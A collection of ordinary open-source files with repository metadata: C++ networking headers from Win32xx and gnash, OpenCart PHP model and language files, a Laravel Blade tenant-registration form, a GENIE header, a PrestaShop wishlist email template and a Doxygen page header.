int Result = ::sendto(m_Socket, T2A(buf), len, flags, to, tolen);
if (SOCKET_ERROR == Result)
TRACE(_T("SendTo failed\n"));
return Result;
}
inline int CSocket::SetSockOpt(int level, int optname, const char* optval, int optlen)
{
int Result = ::setsockopt(m_Socket, level, optname, optval, optlen);
if (0 != Result)
TRACE(_T("SetSockOpt failed\n"));
return Result;
}
inline void CSocket::StartEvents()
{
// This function starts the thread which monitors the socket for events.
StopEvents(); // Ensure the thread isn't already running
UINT ThreadID; // a return variable required for Win95, Win98, WinME
m_hEventThread = (HANDLE)::_beginthreadex(NULL, 0, CSocket::EventThread, (LPVOID) this, 0, &ThreadID);
}
inline void CSocket::StopEvents()
{
// Terminates the event thread gracefully (if possible)
if (m_hEventThread)
{
::SetThreadPriority(m_hEventThread, THREAD_PRIORITY_HIGHEST);
::SetEvent(m_StopRequest);
for (;;) // infinite loop
{
// wait for the Thread stopping event to be set
if ( WAIT_TIMEOUT == ::WaitForSingleObject(m_Stopped, THREAD_TIMEOUT * 10) )
{
// Note: An excessive delay in processing any of the notification functions
// can cause us to get here. (Yes one second is an excessive delay. Its a bug!)
TRACE(_T("*** Error: Event Thread won't die ***\n") );
}
else break;
}
::CloseHandle(m_hEventThread);
m_hEventThread = 0;
}
::ResetEvent(m_StopRequest);
::ResetEvent(m_Stopped);
}
}
#endif // #ifndef _WIN32XX_SOCKET_H_
|
tectronics/coolshell
|
lib/Win32xx/socket.h
|
C
|
gpl-3.0
| 23,965
|
//
// Copyright (C) 2005, 2006, 2007, 2008, 2009, 2010 Free Software
// Foundation, Inc
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#ifndef __NETWORK_H__
#define __NETWORK_H__
#ifdef HAVE_CONFIG_H
#include "gnashconfig.h"
#endif
#if !defined(HAVE_WINSOCK_H) || defined(__OS2__)
# include <sys/types.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <sys/select.h>
#ifdef HAVE_POLL_H
# include <poll.h>
#else
# ifdef HAVE_EPOLL_H
# include <epoll.h>
# endif
#endif
#else
# include <winsock2.h>
# include <windows.h>
# include <fcntl.h>
# include <sys/stat.h>
# include <io.h>
#endif
#include <boost/shared_ptr.hpp>
#include <boost/scoped_ptr.hpp>
#include <boost/cstdint.hpp>
#include <boost/thread/mutex.hpp>
#include <vector>
#include <cassert>
#include <string>
#include <map>
#ifdef USE_SSH
# include "sshclient.h"
#endif
#ifdef USE_SSL
# include "sslclient.h"
#endif
#include "dsodefs.h" //For DSOEXPORT.
namespace cygnal {
class Buffer;
}
/// \namespace gnash
/// This is the main namespace for Gnash and it's libraries.
namespace gnash {
// forward declare the encryption protocols
class SSLClient;
class SSHClient;
// Define the default ports
const short SSL_PORT = 443;
const short SSH_PORT = 22;
const short HTTP_PORT = 80;
// Delay Tolerant Networking Research Group, http://www.dtnrg.org
const short DTN1_PORT = 2445;
const short DTN2_PORT = 4556;
// Define the ports for the RTMP protocols
const short ADMIN_PORT = 1111;
const short RTMP_PORT = 1935;
const short RTMPE_PORT = 1935;
const short RTMPT_PORT = HTTP_PORT;
const short RTMPTE_PORT = HTTP_PORT;
const short RTMPTS_PORT = SSL_PORT;
const short CGIBIN_PORT = 1234;
#ifdef __OS2__
typedef int socklen_t;
#define SHUT_RDWR 0x2
#endif
#if defined(HAVE_WINSOCK_H) && !defined(__OS2__)
typedef long in_addr_t;
# define inet_lnaof(x) inet_addr(inet_ntoa(x))
typedef int socklen_t;
#endif
#if defined(HAVE_POLL_H) || defined(HAVE_PPOLL)
#include <poll.h>
#else
struct pollfd {
int fd;
short events;
short revents;
};
#endif
/// \class Network
/// This is a low level network class for Gnash and Cygnal. This
/// handles the grunt work on both the client side and the server
/// side of a network connection.
class DSOEXPORT Network {
public:
/// This enum contains the list of all supported protocols.
typedef enum {
NONE,
HTTP,
HTTPS,
RTMP,
RTMPT,
RTMPTS,
RTMPE,
RTMPS,
DTN
} protocols_supported_e;
// This is used to pass parameters to a thread using boost::bind
typedef struct {
int tid;
int port;
int netfd;
void *entry;
void *handler;
cygnal::Buffer *buffer;
std::string filespec;
protocols_supported_e protocol;
} thread_params_t;
typedef boost::uint8_t byte_t;
typedef bool entry_t (thread_params_t *);
Network();
~Network();
/// \brief Create a new server.
/// After creating it, then you have to wait for an
/// incoming connection.
///
/// @param port The optional port number to wait on for
/// connections.
///
/// @return The file descritor to wait for connections on.
int createServer(void);
int createServer(short port);
/// \brief Accept a client connection for the current server.
///
/// @param fd The optional file descriptor to wait on for
/// connections.
///
/// @param block True if this should be a blocking wait.
///
/// @return The file descriptor of the new connection.
int newConnection(void);
int newConnection(int fd);
int newConnection(bool block, int fd);
int newConnection(bool block);
/// \brief Connect to a named pipe
///
///
/// @param sock The name of the named pipe to connect to.
///
/// @return True if the connect suceeded, false if it failed.
bool connectSocket(const std::string &sock);
/// \brief Create a client connection to a tcp/ip server.
///
/// @param port The tcp/ip port to use for contacting the server.
///
/// @param hostname The name of the host to connect to. The
/// default is localhost.
///
/// @return True if the connect suceeded, false if it failed.
bool createClient(void);
bool createClient(short port);
bool createClient(const std::string &hostname);
bool createClient(const std::string &hostname, short port);
/// \brief Read from the opened connection.
///
/// @param buffer A Buffer class to hold the data.
///
/// @param timeout An optional timeout for reading data, in seconds.
///
/// @param fd The optional file descriptor to read data from.
///
/// @param nbytes The number of bytes to try to read.
///
/// @return The number of bytes read.
boost::shared_ptr<cygnal::Buffer> readNet();
int readNet(cygnal::Buffer &buffer);
int readNet(int fd, cygnal::Buffer &buffer);
int readNet(int fd, cygnal::Buffer *buffer);
int readNet(cygnal::Buffer &buffer, int timeout);
int readNet(int fd, cygnal::Buffer &buffer, int timeout);
int readNet(byte_t *data, int nbytes);
int readNet(byte_t *data, int nbytes, int timeout);
int readNet(int fd, byte_t *data, int nbytes);
int readNet(int fd, byte_t *data, int nbytes, int timeout);
/// \brief Write to the opened connection.
///
/// @param buffer A Buffer class holding the data.
///
/// @param timeout An optional timeout for writing data, in seconds.
///
/// @param fd The optional file descriptor to write data to from.
///
/// @param nbytes The number of bytes to try to write..
///
/// @return The number of bytes read.
int writeNet(cygnal::Buffer *buffer);
int writeNet(cygnal::Buffer &buffer);
int writeNet(int fd, cygnal::Buffer *buffer);
int writeNet(int fd, cygnal::Buffer &buffer);
int writeNet(const std::string &data);
int writeNet(const byte_t *data, int nbytes);
// int writeNet(int fd, const byte_t *buffer);
int writeNet(int fd, const byte_t *buffer, int nbytes);
int writeNet(int fd, const byte_t *buffer, int nbytes, int timeout);
/// \brief Wait for sries of file descriptors for data.
///
/// @param limit The max number of file descriptors to wait for.
///
/// @return A vector of the file descriptors that have activity.
boost::shared_ptr<std::vector<struct pollfd> > waitForNetData(int limit, struct pollfd *fds);
fd_set waitForNetData(int limit, fd_set data);
fd_set waitForNetData(std::vector<int> &data);
/// \brief Close the connection
///
/// @param fd The file descritor of the open connection to close.
///
/// @return True if the connection was closed, false if it failed.
bool closeNet();
bool closeNet(int fd);
bool closeConnection();
bool closeConnection(int fd);
// Change the debug flag
void toggleDebug(bool val);
bool netDebug() { return _debug; };
bool send(const char *str);
// Accessors for testing
bool connected() const
{
assert ( ( _connected && _sockfd > 0 ) || ( ! _connected && _sockfd <= 0 ) );
return _connected;
};
void setPort(short x) { _port = x; };
short getPort() const { return _port; };
void setFileFd(int x) { _sockfd = x; };
int getFileFd() const { return _sockfd; };
int getListenFd() const { return _listenfd; };
void setListenFd(int x) { _listenfd = x; };
const std::string& getURL() const { return _url; }
void setURL(const std::string& url) { _url = url; }
const std::string& getProtocol() const { return _protocol; }
void setProtocol(const std::string& proto) { _protocol = proto; }
const std::string& getHost() const { return _host; }
void setHost(const std::string& host) { _host = host; }
const std::string& getPortStr() const { return _portstr; }
void setPortStr(const std::string& port) { _portstr = port; }
const std::string& getPath() const { return _path; }
void setPath(const std::string& path) { _path = path; }
void setTimeout(int x) { _timeout = x; }
int getTimeout() const { return _timeout; }
Network &operator = (Network &net);
// The pollfd are an array of data structures used by the poll()
// system call. We have to keep track of these as network
// connections get added and disconnected.
void addPollFD(struct pollfd &fd, entry_t *ptr);
void addPollFD(struct pollfd &fd);
void erasePollFD(int fd);
void erasePollFD(std::vector<struct pollfd>::iterator &itt);
struct pollfd &getPollFD(int fd);
struct pollfd *getPollFDPtr();
#ifdef HAVE_POLL_H
size_t getPollFDSize() { return _pollfds.size(); };
void clearPollFD() { _pollfds.clear(); };
#endif
// The entry point is an function pointer, which is the event
// handler when there is data on a file descriptor.
void addEntry(int fd, entry_t *func);
entry_t *getEntry(int fd);
// void executePollFD(int index) { _handler[index](); ];
#ifdef USE_SSL
bool initSSL(std::string &hostname);
bool initSSL(std::string &hostname, std::string &password);
bool initSSL(std::string &hostname, std::string &password, bool auth);
bool initSSL(std::string &hostname, std::string &password,
std::string &keyfile, std::string &calist,
std::string &rootpath, bool auth);
#endif
// Use an ioctl() to see how many bytes are in the network buffers.
size_t sniffBytesReady(int fd);
protected:
in_addr_t _ipaddr;
int _sockfd; // the file descriptor used for reading and writing
int _listenfd; // the file descriptor used to listen for new connections
short _port;
std::string _portstr;
std::string _url;
std::string _protocol;
std::string _host;
std::string _path;
bool _connected;
bool _debug;
int _timeout;
size_t _bytes_loaded;
/// \var Handler::_handlers
/// Keep a list of all active network connections
std::map<int, entry_t *> _handlers;
std::vector<struct pollfd> _pollfds;
// This is the mutex that controls access to the que.
boost::mutex _poll_mutex;
boost::mutex _net_mutex;
#ifdef USE_SSL
boost::scoped_ptr<SSLClient> _ssl;
#endif
#ifdef USE_SSH
boost::scoped_ptr<SSHClient> _ssh;
#endif
};
} // end of gnash namespace
// __NETWORK_H__
#endif
// Local Variables:
// mode: C++
// indent-tabs-mode: nil
// End:
|
atheerabed/gnash-fork
|
cygnal/libnet/network.h
|
C
|
gpl-3.0
| 11,137
|
<?php
class ModelLocalisationReturnAction extends Model {
public function addReturnAction($data) {
foreach ($data['return_action'] as $language_id => $value) {
if (isset($return_action_id)) {
$this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
} else {
$this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
$return_action_id = $this->db->getLastId();
}
}
$this->cache->delete('return_action');
return $return_action_id;
}
public function editReturnAction($return_action_id, $data) {
$this->db->query("DELETE FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
foreach ($data['return_action'] as $language_id => $value) {
$this->db->query("INSERT INTO " . DB_PREFIX . "return_action SET return_action_id = '" . (int)$return_action_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
}
$this->cache->delete('return_action');
}
public function deleteReturnAction($return_action_id) {
$this->db->query("DELETE FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
$this->cache->delete('return_action');
}
public function getReturnAction($return_action_id) {
$query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "' AND language_id = '" . (int)$this->config->get('config_language_id') . "'");
return $query->row;
}
public function getReturnActions($data = array()) {
if ($data) {
$sql = "SELECT * FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'";
$sql .= " ORDER BY name";
if (isset($data['order']) && ($data['order'] == 'DESC')) {
$sql .= " DESC";
} else {
$sql .= " ASC";
}
if (isset($data['start']) || isset($data['limit'])) {
if ($data['start'] < 0) {
$data['start'] = 0;
}
if ($data['limit'] < 1) {
$data['limit'] = 20;
}
$sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
}
$query = $this->db->query($sql);
return $query->rows;
} else {
$return_action_data = $this->cache->get('return_action.' . (int)$this->config->get('config_language_id'));
if (!$return_action_data) {
$query = $this->db->query("SELECT return_action_id, name FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY name");
$return_action_data = $query->rows;
$this->cache->set('return_action.' . (int)$this->config->get('config_language_id'), $return_action_data);
}
return $return_action_data;
}
}
public function getReturnActionDescriptions($return_action_id) {
$return_action_data = array();
$query = $this->db->query("SELECT * FROM " . DB_PREFIX . "return_action WHERE return_action_id = '" . (int)$return_action_id . "'");
foreach ($query->rows as $result) {
$return_action_data[$result['language_id']] = array('name' => $result['name']);
}
return $return_action_data;
}
public function getTotalReturnActions() {
$query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_action WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
return $query->row['total'];
}
}
|
edwardbrosens/ambacht
|
upload/admin/model/localisation/return_action.php
|
PHP
|
gpl-3.0
| 3,724
|
<?php
// Heading
$_['heading_title'] = 'Weight Based Shipping';
// Text
$_['text_shipping'] = 'Shipping';
$_['text_success'] = 'Success: You have modified weight based shipping!';
// Entry
$_['entry_rate'] = 'Rates';
$_['entry_tax_class'] = 'Tax Class';
$_['entry_geo_zone'] = 'Geo Zone';
$_['entry_status'] = 'Status';
$_['entry_sort_order'] = 'Sort Order';
// Help
$_['help_rate'] = 'Example: 5:10.00,7:12.00 Weight:Cost,Weight:Cost, etc..';
// Error
$_['error_permission'] = 'Warning: You do not have permission to modify weight based shipping!';
?>
|
yaddabristol/opencart
|
upload/admin/language/english/shipping/weight.php
|
PHP
|
gpl-3.0
| 606
|
{!!Html::style("plugins/bootstrap/css/bootstrap.min.css")!!}
{!!Html::style("plugins/node-waves/waves.min.css")!!}
{!!Html::style("plugins/animate-css/animate.min.css")!!}
{!!Html::style("css/style.min.css")!!}
{!!Html::style("css/parsleyStyle.min.css")!!}
{!!Html::style("css/themes/all-themes.min.css")!!}
{!!Html::style("css/minimal-pace.min.css")!!}
{!!Html::style("plugins/jquery-datatable/skin/bootstrap/css/dataTables.bootstrap.min.css")!!}
<!--Registration MODAL-->
<div class="content">
{{Form::open([
'id' => 'frmRegistration'
])}}
<div class="modal fade" id="modalRegistration" tabindex="-1" role="dialog">
<div class="modal-dialog modal-md" role="document">
<div class="modal-content modal-col-green modal-lg">
<div class="modal-header">
<h2 class="modal-title align-center p-b-15 p-l-35">Tenant Registration<a href="" class="pull-right" data-dismiss="modal"><i class="mdi-navigation-close"></i></a></h2>
</div>
<div class="modal-body align-center">
{{-- form open --}}
<h3>Company Information</h3>
<fieldset>
<div class="panel-body">
<div class="col-sm-12 col-md-12 col-xs-12 nopadding">
<h2 class="card-inside-title p-b-20">Company Details
<small>[*] indicates field is required.</small></h2>
<div>
<!-- COMPANY NAME -->
<div class="col-sm-6 col-md-6 col-xs-6">
<div class="form-line">
{{ Form::label('tenant', 'Company Name*', [
'class' => ''
])
}}
<div class="form-group ">
{{ Form::text('tenant', null, [
'id' => 'tenant',
'class' => 'form-control form-line',
'maxlength' => '25',
'required' => 'required',
'data-parsley-pattern' => '^[a-zA-Z. ]+$',
'autocomplete' => 'off'
])
}}
</div>
</div>
</div>
<!-- BUSINESS TYPE -->
<div class="col-sm-6 col-md-6 col-xs-6">
<div class="form-line">
{{ Form::label('busitype', 'Business Type*', [
'class' => 'control-label'
])
}}
<div class="form-group ">
{{ Form::select('busitype',$busitype, null, [
'id' => 'busitype',
'required' => 'required',
'class' => 'form-control form-line align'])
}}
</div>
</div>
</div>
</div>
</div>
<div class="col-sm-12 col-md-12 col-xs-12 nopadding">
<div>
<!-- ADDRESS # -->
<div class="form-line">
{{ Form::label('tena_number', 'Address*', [
'class' => 'control-label'
])
}}
<div class="form-group ">
{{ Form::text('tena_address', null, [
'id' => 'tena_number',
'class' => 'form-control form-line',
'maxlength' => '100',
'required' => 'required',
'autocomplete' => 'off',
])
}}
</div>
</div>
</div>
</div>
</div>
</fieldset>
<h3>Representative Information</h3>
<fieldset>
<div class="panel-body">
<div class="col-sm-12 col-md-12 col-xs-12 nopadding">
<h2 class="card-inside-title p-b-20">Representative Details
<small>[*] indicates field is required</small></h2>
<div>
<!-- REP NAME fname-->
<div class="col-sm-4 col-md-4 col-xs-4">
<div class="form-line">
{{ Form::label('tenant','First Name*',[
'class' => ''
])
}}
<div class="form-group ">
{{ Form::text('fname', null, [
'id' => 'fname',
'class' => 'form-control form-line',
'maxlength' => '25',
'required' => 'required',
'autocomplete' => 'off',
'data-parsley-pattern' => '^[a-zA-Z. ]+$'
])
}}
</div>
</div>
</div>
<!-- REP NAME mname -->
<div class="col-sm-4 col-md-4 col-xs-4">
<div class="form-line">
{{ Form::label('tenant','Middle Name',[
'class' => ''
])
}}
<div class="form-group ">
{{ Form::text('mname', null, [
'id' => 'mname',
'class' => 'form-control form-line',
'maxlength' => '25',
'autocomplete' => 'off',
'data-parsley-pattern' => '^[a-zA-Z. ]+$'
])
}}
</div>
</div>
</div>
<!-- REP NAME lname -->
<div class="col-sm-4 col-md-4 col-xs-4">
<div class="form-line">
{{ Form::label('tenant','Last Name*',[
'class' => ''
])
}}
<div class="form-group ">
{{ Form::text('lname', null, [
'id' => 'lname',
'class' => 'form-control form-line',
'maxlength' => '25',
'required' => 'required',
'autocomplete' => 'off',
'data-parsley-pattern' => '^[a-zA-Z. ]+$'
])
}}
</div>
</div>
</div>
</div>
</div>
<div class="col-sm-12 col-md-12 col-xs-12">
<div>
<!-- POSITION -->
<div class="col-sm-6 col-md-6 col-xs-6">
<div class="form-line">
{{ Form::label('position', 'Position*', [
'class' => 'control-label'
])
}}
<div class="form-group ">
{{ Form::select('position', $posi, null, [
'id' => 'position',
'class' => 'form-control form-line'])
}}
</div>
</div>
</div>
<!-- PICTURE -->
{{-- <div class="col-sm-6 col-md-6 col-xs-6">
<div class="form-group">
{{ Form::label('tenant', 'Picture*', [
'class' => 'control-label'
])
}}
{{ Form::file('picture', [
'required' => 'required',
'id' => 'picture'
])
}}
</div>
</div> --}}
</div>
</div>
<!-- CONTACT DETAILS START -->
<div class="col-sm-12 col-md-12 col-xs-12 nopadding">
<h2 class="card-inside-title p-b-10">Contact Details</h2>
<div>
<!-- Cellphone # -->
<div class="col-sm-4 col-md-4 col-xs-4">
<div class="form-line">
{{ Form::label('cellno', 'Cellphone Number', [
'class' => 'control-label'
])
}}
<div class="form-group ">
{{ Form::text('cellno', null, [
'id' => 'cellno',
'class' => 'mobile-phone-number form-control form-line',
'maxlength' => '25',
'data-parsley-type' => 'number',
'autocomplete' => 'off'
])
}}
</div>
</div>
</div>
<!-- Telno -->
<div class="col-sm-4 col-md-4 col-xs-4">
<div class="form-line">
{{ Form::label('telno', 'Telephone Number', [
'class' => 'control-label'
])
}}
<div class="form-group ">
{{ Form::text('telno', null, [
'id' => 'telno',
'class' => 'telephone-number form-control form-line',
'maxlength' => '25',
'data-parsley-pattern' => '^[a-zA-Z. ]+$',
'autocomplete' => 'off'
])
}}
</div>
</div>
</div>
<!-- Email add -->
<div class="col-sm-4 col-md-4 col-xs-4">
<div class="form-line">
{{ Form::label('email', 'Email Address*', [
'class' => 'control-label'
])
}}
<div class="form-group ">
{{ Form::text('email', null, [
'id' => 'email',
'class' => 'form-control form-line email',
'maxlength' => '25',
'required' => 'required',
'autocomplete' => 'off'
])
}}
</div>
</div>
</div>
</div>
</div>
<!-- CONTACT DETAILS END -->
</div>
</fieldset>
<h3>Finalization</h3>
<fieldset>
<div class="panel-body">
<div class="col-sm-12 nopadding">
<div class="form-group">
<div class="form-line">
{{ Form::label('duration', 'Desired Duration of Contract*', [
'class' => 'control-label'
])
}}
{{ Form::number('duration', null, [
'id' => 'duration',
'class' => 'form-control form-line',
'max' => '3',
'min' => '1',
'required' => 'required',
'autocomplete' => 'off',
'data-parsley-type' => 'number',
'required' => ''
])
}}
</div>
</div>
</div>
<div class="col-sm-12 nopadding">
<div class="form-group">
<label class="control-label">Remarks</label>
<div class="form-line">
<textarea class="form-control form-line" id="header_remarks" name="header_remarks" value=""></textarea>
</div>
</div>
</div>
</div>
</fieldset>
{{-- form end --}}
</div>
<div class="modal-footer align-center">
<button id='btnSave' type='submit' class='btn bg-brown btn-lg waves-effect waves-float col-lg-12 col-md-12 col-sm-12' >Submit</button>
</div>
</div>
</div>
</div>
<!--Registration MODAL-->
<button id='btnModal' type='button' class='btn bg-brown btn-lg waves-effect waves-float col-lg-12 col-md-12 col-sm-12' >Proceed with Registration</button>
@foreach($units as $key=>$unit)
@if($key%2==0)
<div>
@endif
<div class="col-sm-6">
<div class="card">
<div class="header bg-light-green">
<input id='unit{{$unit->id}}' required="" type='checkbox' class="filled-in chk-col-blue" type='checkbox' name='units[]' value="{{$unit->id}} ">
<label for='unit{{$unit->id}}'><h4>{{$unit->code}}</h4></label> <br>
</div>
<div class="align-center">
<img
src="{{ asset('images/units/'.$unit->picture)}} " class="user-image" height="200" width="200" >
<div class="body">
</div>
<div id="labels" class="col-sm-6">
<b>Building Type: </b><br>
<b>Building Name: </b><br>
<b>Address: </b><br>
<b>Unit Type : </b><br>
<b>Floor : </b><br>
<b>Size : </b><br>
<b>Price : </b><br>
</div>
<div id="details" class="align-right" >
{{$unit->building_type}} <br>
{{$unit->building}} <br>
{{$unit->address}} <br>
{{$unit->type}} <br>
{{$unit->floor}} <br>
{{$unit->size}} <br>
{{$unit->price}} <br>
</div>
</div>
</div>
</div>
@if($key%2!=0)
</div>
@endif
@endforeach
{{Form::close()}}
</div>
{!!Html::script("plugins/jquery/jquery.min.js")!!}
{!!Html::script("plugins/jquery-datatable/jquery.dataTables.min.js")!!}
{!!Html::script("plugins/jquery-datatable/skin/bootstrap/js/dataTables.bootstrap.min.js")!!}
{!!Html::script("plugins/jquery-steps/jquery.steps.min.js")!!}
{!!Html::script("plugins/jquery-validation/jquery.validate.min.js")!!}
{!!Html::script("plugins/bootstrap/js/bootstrap.min.js")!!}
{!!Html::script('plugins/jquery/parsley.min.js')!!}
{!!Html::script('plugins/jquery-slimscroll/jquery.slimscroll.min.js')!!}
{!!Html::script('plugins/node-waves/waves.min.js')!!}
{!!Html::script('js/pages/forms/advanced-form-elements.min.js')!!}
{!!Html::script('js/notify/notify.min.js')!!}
{!!Html::script("plugins/jquery-inputmask/jquery.inputmask.bundle.min.js")!!}
{!!Html::script("plugins/jquery-mask/jquery.mask.min.js")!!}
{!!Html::script("plugins/pace-js/pace.min.js")!!}
{!!Html::script('js/admin.min.js')!!}
{!!Html::script("custom/inquiryUnitsAjax.js")!!}
<script type="text/javascript">
url="{{route('inquiry.store')}}";
</script>
|
binmurv/C.B.U.L.M.S.
|
resources/views/user/guest/inquiry/units.blade.php
|
PHP
|
gpl-3.0
| 10,881
|
//_____________________________________________________________________________
/*!
\class genie::nuvld::GuiNuXSecSqlInputs
\brief
\author Costas Andreopoulos (Rutherford Lab.) <costas.andreopoulos \at stfc.ac.uk>
\created August 25, 2004
*/
//_____________________________________________________________________________
#ifndef _V_XSEC_SQL_INPUTS_H_
#define _V_XSEC_SQL_INPUTS_H_
#include <string>
using std::string;
namespace genie {
namespace nuvld {
typedef struct
{
string _experiments;
string _xsecs;
string _nus;
string _targets;
} GuiNuXSecSqlInputs_t ;
} // nuvld namespace
} // genie namespace
#endif
|
jschwehr/GENIE_2_8
|
src/validation/attic/NuVld/GuiNuXSecSqlInputs.h
|
C
|
gpl-3.0
| 640
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
<title>来自 {shop_name} 的留言</title>
<style> @media only screen and (max-width: 300px){
body {
width:218px !important;
margin:auto !important;
}
.table {width:195px !important;margin:auto !important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto !important;display: block !important;}
span.title{font-size:20px !important;line-height: 23px !important}
span.subtitle{font-size: 14px !important;line-height: 18px !important;padding-top:10px !important;display:block !important;}
td.box p{font-size: 12px !important;font-weight: bold !important;}
.table-recap table, .table-recap thead, .table-recap tbody, .table-recap th, .table-recap td, .table-recap tr {
display: block !important;
}
.table-recap{width: 200px!important;}
.table-recap tr td, .conf_body td{text-align:center !important;}
.address{display: block !important;margin-bottom: 10px !important;}
.space_address{display: none !important;}
}
@media only screen and (min-width: 301px) and (max-width: 500px) {
body {width:308px!important;margin:auto!important;}
.table {width:285px!important;margin:auto!important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto!important;display: block!important;}
.table-recap table, .table-recap thead, .table-recap tbody, .table-recap th, .table-recap td, .table-recap tr {
display: block !important;
}
.table-recap{width: 295px !important;}
.table-recap tr td, .conf_body td{text-align:center !important;}
}
@media only screen and (min-width: 501px) and (max-width: 768px) {
body {width:478px!important;margin:auto!important;}
.table {width:450px!important;margin:auto!important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto!important;display: block!important;}
}
@media only screen and (max-device-width: 480px) {
body {width:308px!important;margin:auto!important;}
.table {width:285px;margin:auto!important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto!important;display: block!important;}
.table-recap{width: 295px!important;}
.table-recap tr td, .conf_body td{text-align:center!important;}
.address{display: block !important;margin-bottom: 10px !important;}
.space_address{display: none !important;}
}
</style>
</head>
<body style="-webkit-text-size-adjust:none;background-color:#fff;width:650px;font-family:Open-sans, sans-serif;color:#555454;font-size:13px;line-height:18px;margin:auto">
<table class="table table-mail" style="width:100%;margin-top:10px;-moz-box-shadow:0 0 5px #afafaf;-webkit-box-shadow:0 0 5px #afafaf;-o-box-shadow:0 0 5px #afafaf;box-shadow:0 0 5px #afafaf;filter:progid:DXImageTransform.Microsoft.Shadow(color=#afafaf,Direction=134,Strength=5)">
<tr>
<td class="space" style="width:20px;padding:7px 0"> </td>
<td align="center" style="padding:7px 0">
<table class="table" bgcolor="#ffffff" style="width:100%">
<tr>
<td align="center" class="logo" style="border-bottom:4px solid #333333;padding:7px 0">
<a title="{shop_name}" href="{shop_url}" style="color:#337ff1">
<img src="{shop_logo}" alt="{shop_name}" />
</a>
</td>
</tr>
<tr>
<td align="center" class="titleblock" style="padding:7px 0">
<font size="2" face="Open-sans, sans-serif" color="#555454">
<span class="title" style="font-weight:500;font-size:28px;text-transform:uppercase;line-height:33px">您好,</span>
</font>
</td>
</tr>
<tr>
<td class="space_footer" style="padding:0!important"> </td>
</tr>
<tr>
<td class="box" style="border:1px solid #D6D4D4;background-color:#f8f8f8;padding:7px 0">
<table class="table" style="width:100%">
<tr>
<td width="10" style="padding:7px 0"> </td>
<td style="padding:7px 0">
<font size="2" face="Open-sans, sans-serif" color="#555454">
<p data-html-only="1" style="border-bottom:1px solid #D6D4D4;margin:3px 0 7px;text-transform:uppercase;font-weight:500;font-size:18px;padding-bottom:10px">
来自 {shop_name} 的留言 </p>
<span style="color:#777">
<span style="color:#333"><strong>{firstname} {lastname}</strong></span> 表示您可能希望看到他/她的愿望清单: <span style="color:#333"><strong>{wishlist}</strong></span><br /><br />
<a title="WishList" href="{message}" style="color:#337ff1">{wishlist}</a>
</span>
</font>
</td>
<td width="10" style="padding:7px 0"> </td>
</tr>
</table>
</td>
</tr>
<tr>
<td class="space_footer" style="padding:0!important"> </td>
</tr>
<tr>
<td class="footer" style="border-top:4px solid #333333;padding:7px 0">
<span><a href="{shop_url}" style="color:#337ff1">{shop_name}</a> 由 <a href="http://www.prestashop.com/" style="color:#337ff1">PrestaShop™</a></span>
</td>
</tr>
</table>
</td>
<td class="space" style="width:20px;padding:7px 0"> </td>
</tr>
</table>
</body>
</html>
|
qky1412/prestashop-local
|
modules/blockwishlist/mails/zh/wishlist.html
|
HTML
|
gpl-3.0
| 5,445
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.14"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>coda db: coda::db::sqldb Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">coda db
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.14 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
